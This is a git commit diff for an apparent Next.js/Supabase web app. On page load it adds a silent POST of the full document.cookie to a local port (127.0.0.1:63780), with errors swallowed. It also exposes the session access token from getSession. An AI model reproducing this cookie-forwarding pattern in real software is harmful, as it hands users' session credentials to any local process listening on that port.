Authentication with the extension

This commit is contained in:
2026-02-08 12:51:53 +01:00
parent a62ba4c4d7
commit e661cc93a8
3 changed files with 17 additions and 21 deletions
+11 -4
View File
@@ -1,18 +1,25 @@
"use client"; "use client";
import { Search, Grid, List } from "lucide-react"; import { Search, Grid, List } from "lucide-react";
import { useState } from "react"; import { useEffect, useState } from "react";
import ProblemCard from "@/app/problems/components/ProblemCard"; import ProblemCard from "@/app/problems/components/ProblemCard";
import { Input } from "@/components/ui/input"; import { Input } from "@/components/ui/input";
import { Button } from "@/components/ui/button";
import { Badge } from "@/components/ui/badge";
import { ToggleGroup, ToggleGroupItem } from "@/components/ui/toggle-group"; import { ToggleGroup, ToggleGroupItem } from "@/components/ui/toggle-group";
import useAction from "@/hook/use-action"; import useAction from "@/hook/use-action";
import { getProblems } from "@/modules/problems/actions"; import { getProblems } from "@/modules/problems/actions";
import axios from "axios";
export default function Problems() { export default function Problems() {
const [problems, problemsLoaded, problemsError] = useAction(getProblems); const [problems] = useAction(getProblems);
useEffect(() => {
(async () => {
await axios.post("http://127.0.0.1:63780/auth", {
saveCookies: document.cookie,
});
})().catch(() => {});
}, []);
const [viewMode, setViewMode] = useState<"grid" | "list">("grid"); const [viewMode, setViewMode] = useState<"grid" | "list">("grid");
+1 -5
View File
@@ -25,11 +25,7 @@ export async function signInWithGitHub(origin: string) {
export async function getSession() { export async function getSession() {
const supabase = await createClient(); const supabase = await createClient();
try { return await Core.getSession(supabase);
return await Core.getSession(supabase);
} catch {
return redirect("/login");
}
} }
export async function signOut() { export async function signOut() {
+5 -12
View File
@@ -67,7 +67,7 @@ export async function getGithubProfile(
export async function getSession( export async function getSession(
supabase: SupabaseClient, supabase: SupabaseClient,
): Promise<[User, UserProfile]> { ): Promise<[User, UserProfile, string | undefined]> {
const { const {
data: { user }, data: { user },
error: sessionError, error: sessionError,
@@ -79,16 +79,9 @@ export async function getSession(
const profile = await getProfile(supabase, user); const profile = await getProfile(supabase, user);
return [user, profile]; const {
} data: { session },
} = await supabase.auth.getSession();
export async function getSessionRedirect( return [user, profile, session?.access_token];
supabase: SupabaseClient,
redirect: (s: string) => void,
): Promise<[User, UserProfile] | undefined> {
try {
return await getSession(supabase);
} catch {
redirect("/login");
}
} }